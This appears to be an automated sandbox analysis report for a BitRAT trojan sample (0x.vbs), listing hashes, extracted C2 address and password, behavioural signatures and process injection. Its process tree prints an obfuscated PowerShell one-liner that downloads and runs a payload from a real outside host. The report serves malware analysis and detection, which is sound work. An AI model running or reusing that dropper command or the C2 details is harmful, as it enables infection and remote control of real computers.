bitrat | acec28de93d3ea0afc8d7101cadc56f07ef03492d1b398769c2d20e358b3b846

General

Target

0x.vbs
Size

62KB
MD5

34d6b90b676cf2fe59153c0c01b59278
SHA1

396c2789cf583c24b047976dc91584aa703c067a
SHA256

acec28de93d3ea0afc8d7101cadc56f07ef03492d1b398769c2d20e358b3b846
SHA512

f20cfcd266b691c70f530b92244dd80eddbd5a5c19d1c08bd6b330ff15217e8fef5ca221adabdc75fc2ac1cb4aae8e729073fe85e13c43a89f5cb56c0310af2f
SSDEEP

1536:y9V9A9J9v9/9U9U9v9U9v9A9m9v9/9U9U9v9U9v:F

Score

10^/10

bitrat trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://193.233.132.136/a/a.png

Extracted

Family

bitrat

Version

1.38

C2

193.233.132.136:4404

Attributes

communication_password
93d93f0d629d26b535ee4c950717ab2b
tor_process
tor

Signatures

BitRAT
BitRAT is a remote access tool written in C++ and uses leaked source code from other families.
trojan bitrat
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

19 1152 powershell.exe
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

WScript.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-609813121-2907144057-1731107329-1000\Control Panel\International\Geo\Nation WScript.exe

flow	pid	process
19	1152	powershell.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-609813121-2907144057-1731107329-1000\Control Panel\International\Geo\Nation	WScript.exe

UPX packed file 20 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral2/memory/5040-17-0x0000000000400000-0x00000000007D2000-memory.dmp	upx
behavioral2/memory/5040-21-0x0000000000400000-0x00000000007D2000-memory.dmp	upx
behavioral2/memory/5040-22-0x0000000000400000-0x00000000007D2000-memory.dmp	upx
behavioral2/memory/5040-23-0x0000000000400000-0x00000000007D2000-memory.dmp	upx
behavioral2/memory/5040-24-0x0000000000400000-0x00000000007D2000-memory.dmp	upx
behavioral2/memory/5040-25-0x0000000000400000-0x00000000007D2000-memory.dmp	upx
behavioral2/memory/5040-27-0x0000000000400000-0x00000000007D2000-memory.dmp	upx
behavioral2/memory/5040-28-0x0000000000400000-0x00000000007D2000-memory.dmp	upx
behavioral2/memory/5040-29-0x0000000000400000-0x00000000007D2000-memory.dmp	upx
behavioral2/memory/5040-30-0x0000000000400000-0x00000000007D2000-memory.dmp	upx
behavioral2/memory/5040-32-0x0000000000400000-0x00000000007D2000-memory.dmp	upx
behavioral2/memory/5040-31-0x0000000000400000-0x00000000007D2000-memory.dmp	upx
behavioral2/memory/5040-33-0x0000000000400000-0x00000000007D2000-memory.dmp	upx
behavioral2/memory/5040-34-0x0000000000400000-0x00000000007D2000-memory.dmp	upx
behavioral2/memory/5040-36-0x0000000000400000-0x00000000007D2000-memory.dmp	upx
behavioral2/memory/5040-37-0x0000000000400000-0x00000000007D2000-memory.dmp	upx
behavioral2/memory/5040-38-0x0000000000400000-0x00000000007D2000-memory.dmp	upx
behavioral2/memory/5040-40-0x0000000000400000-0x00000000007D2000-memory.dmp	upx
behavioral2/memory/5040-41-0x0000000000400000-0x00000000007D2000-memory.dmp	upx
behavioral2/memory/5040-42-0x0000000000400000-0x00000000007D2000-memory.dmp	upx

Suspicious use of NtSetInformationThreadHideFromDebugger 5 IoCs

Processes:

RegSvcs.exe

pid process

5040 RegSvcs.exe
5040 RegSvcs.exe
5040 RegSvcs.exe
5040 RegSvcs.exe
5040 RegSvcs.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 1152 set thread context of 5040 1152 powershell.exe RegSvcs.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exe

pid process

1152 powershell.exe
1152 powershell.exe
1152 powershell.exe
1152 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exeRegSvcs.exe

description pid process

Token: SeDebugPrivilege 1152 powershell.exe
Token: SeShutdownPrivilege 5040 RegSvcs.exe
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

RegSvcs.exe

pid process

5040 RegSvcs.exe
5040 RegSvcs.exe

pid	process
5040	RegSvcs.exe
5040	RegSvcs.exe
5040	RegSvcs.exe
5040	RegSvcs.exe
5040	RegSvcs.exe

description	pid	process	target process
PID 1152 set thread context of 5040	1152	powershell.exe	RegSvcs.exe

pid	process
1152	powershell.exe
1152	powershell.exe
1152	powershell.exe
1152	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1152	powershell.exe
Token: SeShutdownPrivilege	5040	RegSvcs.exe

pid	process
5040	RegSvcs.exe
5040	RegSvcs.exe

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

WScript.exepowershell.exe

description	pid	process	target process
PID 4820 wrote to memory of 1152	4820	WScript.exe	powershell.exe
PID 4820 wrote to memory of 1152	4820	WScript.exe	powershell.exe
PID 1152 wrote to memory of 1128	1152	powershell.exe	RegSvcs.exe
PID 1152 wrote to memory of 1128	1152	powershell.exe	RegSvcs.exe
PID 1152 wrote to memory of 1128	1152	powershell.exe	RegSvcs.exe
PID 1152 wrote to memory of 5040	1152	powershell.exe	RegSvcs.exe
PID 1152 wrote to memory of 5040	1152	powershell.exe	RegSvcs.exe
PID 1152 wrote to memory of 5040	1152	powershell.exe	RegSvcs.exe
PID 1152 wrote to memory of 5040	1152	powershell.exe	RegSvcs.exe
PID 1152 wrote to memory of 5040	1152	powershell.exe	RegSvcs.exe
PID 1152 wrote to memory of 5040	1152	powershell.exe	RegSvcs.exe
PID 1152 wrote to memory of 5040	1152	powershell.exe	RegSvcs.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\0x.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4820

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://193.233.132.136/a/a.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X
2⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1152

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
3⤵
PID:1128

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:5040

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3rqgkdvj.gfp.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1152-20-0x00007FFCA91A0000-0x00007FFCA9C61000-memory.dmp

Filesize
10.8MB

Download
memory/1152-10-0x00007FFCA91A0000-0x00007FFCA9C61000-memory.dmp

Filesize
10.8MB

Download
memory/1152-11-0x0000028BEE7B0000-0x0000028BEE7C0000-memory.dmp

Filesize
64KB

Download
memory/1152-12-0x0000028BEE7B0000-0x0000028BEE7C0000-memory.dmp

Filesize
64KB

Download
memory/1152-13-0x00007FFCA91A0000-0x00007FFCA9C61000-memory.dmp

Filesize
10.8MB

Download
memory/1152-14-0x0000028BEE7B0000-0x0000028BEE7C0000-memory.dmp

Filesize
64KB

Download
memory/1152-15-0x0000028BEE7B0000-0x0000028BEE7C0000-memory.dmp

Filesize
64KB

Download
memory/1152-16-0x0000028BEE7A0000-0x0000028BEE7B2000-memory.dmp

Filesize
72KB

Download
memory/1152-5-0x0000028BF0960000-0x0000028BF0982000-memory.dmp

Filesize
136KB

Download
memory/5040-26-0x0000000074F80000-0x0000000074FB9000-memory.dmp

Filesize
228KB

Download
memory/5040-32-0x0000000000400000-0x00000000007D2000-memory.dmp

Filesize
3.8MB

Download
memory/5040-22-0x0000000000400000-0x00000000007D2000-memory.dmp

Filesize
3.8MB

Download
memory/5040-23-0x0000000000400000-0x00000000007D2000-memory.dmp

Filesize
3.8MB

Download
memory/5040-24-0x0000000000400000-0x00000000007D2000-memory.dmp

Filesize
3.8MB

Download
memory/5040-25-0x0000000000400000-0x00000000007D2000-memory.dmp

Filesize
3.8MB

Download
memory/5040-17-0x0000000000400000-0x00000000007D2000-memory.dmp

Filesize
3.8MB

Download
memory/5040-27-0x0000000000400000-0x00000000007D2000-memory.dmp

Filesize
3.8MB

Download
memory/5040-28-0x0000000000400000-0x00000000007D2000-memory.dmp

Filesize
3.8MB

Download
memory/5040-29-0x0000000000400000-0x00000000007D2000-memory.dmp

Filesize
3.8MB

Download
memory/5040-30-0x0000000000400000-0x00000000007D2000-memory.dmp

Filesize
3.8MB

Download
memory/5040-21-0x0000000000400000-0x00000000007D2000-memory.dmp

Filesize
3.8MB

Download
memory/5040-31-0x0000000000400000-0x00000000007D2000-memory.dmp

Filesize
3.8MB

Download
memory/5040-33-0x0000000000400000-0x00000000007D2000-memory.dmp

Filesize
3.8MB

Download
memory/5040-34-0x0000000000400000-0x00000000007D2000-memory.dmp

Filesize
3.8MB

Download
memory/5040-35-0x0000000075300000-0x0000000075339000-memory.dmp

Filesize
228KB

Download
memory/5040-36-0x0000000000400000-0x00000000007D2000-memory.dmp

Filesize
3.8MB

Download
memory/5040-37-0x0000000000400000-0x00000000007D2000-memory.dmp

Filesize
3.8MB

Download
memory/5040-38-0x0000000000400000-0x00000000007D2000-memory.dmp

Filesize
3.8MB

Download
memory/5040-40-0x0000000000400000-0x00000000007D2000-memory.dmp

Filesize
3.8MB

Download
memory/5040-41-0x0000000000400000-0x00000000007D2000-memory.dmp

Filesize
3.8MB

Download
memory/5040-42-0x0000000000400000-0x00000000007D2000-memory.dmp

Filesize
3.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

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